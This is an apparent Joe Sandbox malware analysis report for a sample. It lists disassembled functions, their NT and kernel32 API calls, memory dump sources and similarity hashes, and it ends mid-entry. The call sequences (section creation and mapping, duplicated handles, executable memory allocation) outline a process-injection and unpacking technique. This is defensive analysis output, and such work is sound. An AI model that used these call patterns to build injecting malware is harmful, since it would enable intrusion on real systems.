API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Uniqueness

Uniqueness Score: -1.00%

Function 006519D1 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006519F9
Module32First.KERNEL32(00000000,00000224), ref: 00651A19

Memory Dump Source

Source File: 00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0064E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64e000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6a12cccf812e7a19ad84bc71068fc9ef44ccbca6b07d48c9f813c9b18b2e98a0
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A4F0F6321007116BD7213BF9AC8DBAE72EDAF4A322F100628FA42951C0DB70EC094661

Uniqueness

Uniqueness Score: -1.00%

Function 005D003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005D024D

Strings

kernel32.dll, xrefs: 005D008F, 005D0095
cess, xrefs: 005D018D

Memory Dump Source

Source File: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: fc9b128c1f50d28fefb36c0545add9695854d6336b218cbceaeb3d9a397e2676
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7D526A74A01229DFDB64CF58C985BA8BBB1BF09314F1480DAE94DAB351DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 005D0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005D0223,?,?), ref: 005D0E19
SetErrorMode.KERNELBASE(00000000,?,?,005D0223,?,?), ref: 005D0E1E

Memory Dump Source

Source File: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: c5d6d6fa0513ea3056317b239f3eb2f6e5cae715dba88dd75ef451771bbf1679
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 47D0123114512877D7102A94DC09BCD7F1CDF05B62F008412FB0DD9180C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004213A0 Relevance: 1.5, APIs: 1, Instructions: 9
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(0042FCB8,00421901), ref: 004213D0

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8668612106db82164b258e88b4b9dd66b8f2b6f139c2542207fcd6e492a59a19
Instruction ID: b564306bd6104b9c3883b87f80eca8c8b61a5734ae17411576cad50917226234
Opcode Fuzzy Hash: 8668612106db82164b258e88b4b9dd66b8f2b6f139c2542207fcd6e492a59a19
Instruction Fuzzy Hash: 65D0923E76D388C9CB218F26FA09B043A71BB11704BD050B9D8505A262CBB8000FCB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00651690 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006516E1

Memory Dump Source

Source File: 00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0064E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64e000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d1aa97bce38119e067a1eb325516ebde2c57e2d2cb6b61bd728d486833481abc
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3A113979A40208EFDB01DF98C985E98BBF5AF09351F0580A4F9489B362D371EA94DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00421580 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 247timememorynetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004215B2
SetLastError.KERNEL32(00000000), ref: 004215BA
GetConsoleAliasesW.KERNEL32(00000000,00000000,00000000), ref: 004215C6
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 004215E2
ResetEvent.KERNEL32(00000000), ref: 00421627
InterlockedIncrement.KERNEL32(?), ref: 00421640
DestroyCursor.USER32(00000000), ref: 00421648
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 00421676
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042167E
GetCurrentDirectoryA.KERNEL32(00000000,?), ref: 0042168D
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 00421699
GetStartupInfoW.KERNEL32(00000000), ref: 004216AA
GetModuleHandleExA.KERNEL32(00000000,0042B3F0,?), ref: 004216C7
OpenJobObjectA.KERNEL32(00000000,00000000,00000000), ref: 00421713
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 00421725
DnsHostnameToComputerNameA.KERNEL32(0042B408,?,?), ref: 0042173E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00421754
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000000), ref: 00421767
TzSpecificLocalTimeToSystemTime.KERNEL32(?,00000000,00000000), ref: 004217C0
SetCurrentDirectoryA.KERNEL32(00000000), ref: 004217C8
MoveFileExW.KERNEL32(0042B498,0042B458,00000000), ref: 004217DA
OpenWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 004217E6
CompareStringW.KERNEL32(00000000,00000000,0042B4E0,00000000,0042B4A0,00000000), ref: 004217FE
GetProcessHeap.KERNEL32 ref: 00421804

Part of subcall function 004213A0: LoadLibraryA.KERNELBASE(0042FCB8,00421901), ref: 004213D0

Part of subcall function 004214D0: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042150B
Part of subcall function 004214D0: ReadEventLogA.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 00421528
Part of subcall function 004214D0: CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042153E
Part of subcall function 004214D0: FileTimeToLocalFileTime.KERNEL32 ref: 0042155E

SetProcessWorkingSetSize.KERNEL32(00000000,00000000,00000000), ref: 00421949

Strings

tl_, xrefs: 004215FE

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID: Time$DirectoryFile$AliasesConsoleCreateCurrentEnvironmentEventFreeInfoLocalOpenProcessStrings$ByteCharCommCompareComputerConfigCountCursorDateDefaultDestroyEnumErrorFormatsHandleHeapHostnameIncrementInterlockedLastLengthLibraryLoadLocaleModuleMoveMultiNameNamedObjectPipeReadResetSizeSpecificStartupStringSystemTickTimerWaitableWideWorking
String ID: tl_
API String ID: 1816531604-2653253968
Opcode ID: 2347cf0974927aad82d2aab24dec0ab93160f781c87f7b7c148f2b362616f34d
Instruction ID: 4dfe5728d61aefea62bca5ff94aff735c65c31c68055f3b18549db116f162683
Opcode Fuzzy Hash: 2347cf0974927aad82d2aab24dec0ab93160f781c87f7b7c148f2b362616f34d
Instruction Fuzzy Hash: 38A1A270B44318EBEB20DF54EC46B997770BB14706F9040AAF209AA2E1D7B45A85CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004214D0 Relevance: 6.0, APIs: 4, Instructions: 50pipetimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00421410: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 00421427
Part of subcall function 00421410: LoadLibraryA.KERNEL32(00000000), ref: 0042142F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042150B
ReadEventLogA.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 00421528
CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042153E
FileTimeToLocalFileTime.KERNEL32 ref: 0042155E

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID: FileTime$AllocateCreateEnvironmentEventFreeHeapLibraryLoadLocalNamedPipeReadStrings
String ID:
API String ID: 3811978434-0
Opcode ID: acf5091a2d36f1e162c9f84ea1269c10243cd36ce23620090304ea870b35addc
Instruction ID: 728d0f417199d002e4d2c234a748af05650f4175829954a6a967bba4d9b62218
Opcode Fuzzy Hash: acf5091a2d36f1e162c9f84ea1269c10243cd36ce23620090304ea870b35addc
Instruction Fuzzy Hash: B9012D71304305AFD320DF54EC86F9AB7A4BB98709F80442DF259871A0D774A549CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 005D092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 005D095F
GetProcAddress., xrefs: 005D09DC, 005D09DF, 005D09E4
l, xrefs: 005D0966

Memory Dump Source

Source File: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: f1d2a22214cb9c96db2cb5e2ffd4a563243a465545b93e2a2a3d4146318cd5f1
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: D33117B6900609DFDB20CF99C884BAEBBF5FB48324F25504BD441A7351D771AA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00424A8F Relevance: 1.8, Strings: 1, Instructions: 506COMMON

Download Yara Rule

Strings

, xrefs: 00424EFE

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 965b992b28fe635ee9d3ac5fe5b5ae164e11f9dfff137ef5c6e616f7e8a96dd2
Instruction ID: cabbdf6630250c48ca389c5871d066a198cc5687a3caca14ba63171183a25201
Opcode Fuzzy Hash: 965b992b28fe635ee9d3ac5fe5b5ae164e11f9dfff137ef5c6e616f7e8a96dd2
Instruction Fuzzy Hash: CC029372E105298BDF08CF68E8403EDB7B2FBD8325F65866ED822B7684D7746901CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00425530 Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

, xrefs: 0042599D

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 504c833ee781a66fc5d8f26612a9139a7d3f91ea7873914cf73cd6dbb28f8292
Instruction ID: b9834d99732505e45bb05993b3efbd4473eab978ed3ea9a319c0ff7a4847860a
Opcode Fuzzy Hash: 504c833ee781a66fc5d8f26612a9139a7d3f91ea7873914cf73cd6dbb28f8292
Instruction Fuzzy Hash: D002B772F10929CBDF04CF68E8402ECB7B2FBD8325FA5866AC422B7294C7756945CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00424FDF Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

, xrefs: 0042544C

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 09229c7f27d6f42231fe7c77bd846c127b79bc90f218d68aaec67fda2f571042
Instruction ID: f2863b2f2e60e167e2cd1952491cdc7fe0bf2d9f08c42fe22f6eeede6d02511c
Opcode Fuzzy Hash: 09229c7f27d6f42231fe7c77bd846c127b79bc90f218d68aaec67fda2f571042
